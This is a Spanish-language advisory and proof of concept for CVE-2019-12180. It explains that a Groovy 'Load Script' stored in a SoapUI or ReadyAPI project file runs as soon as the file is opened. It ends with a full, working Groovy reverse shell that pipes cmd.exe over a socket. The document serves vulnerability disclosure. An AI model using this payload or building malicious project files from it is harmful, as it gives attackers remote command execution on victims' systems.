
Aviso y prueba de concepto para CVE-2019-12180, que demuestra la ejecución arbitraria de código Groovy en SoapUI y ReadyAPI mediante archivos de proyecto maliciosos.
Aviso y PoC
SoapUI y ReadyAPI te permiten crear o añadir contenidos dinámicos a los casos de prueba (por ejemplo, calcular una marca de tiempo sobre la marcha) usando scripts de lenguaje Apache Groovy. La ejecución de estos scripts se puede activar de muchas maneras y se almacenan dentro del archivo XML "Project file" una vez que se guarda un proyecto.
La función "Load Script" permite crear un script Groovy que se lanza una vez que se abre el archivo de proyecto (elemento con:afterLoadScript del archivo XML del proyecto) sin ninguna interacción adicional del usuario. Este comportamiento puede ser abusado por un atacante para crear archivos de proyecto maliciosos que, una vez abiertos, ejecuten código Groovy arbitrario en el sistema de la víctima. Dado que es posible ejecutar comandos del sistema usando el lenguaje Groovy, esta característica puede ser abusada para ejecutar comandos remotos de manera efectiva.
NOTA: el mismo objetivo se puede lograr explotando cualquier otra función capaz de script Groovy (por ejemplo, "Save script"), pero esto requerirá interacción adicional del usuario después de cargar el archivo de proyecto.
Aplicación vulnerable:
En el momento de escribir esto (2020-02-04), esta es una vulnerabilidad 0day, ya que las (múltiples) fechas de divulgación propuestas han pasado sin que el proveedor haya lanzado un parche.
Ejemplo de reverse shell Groovy (https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76):
String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();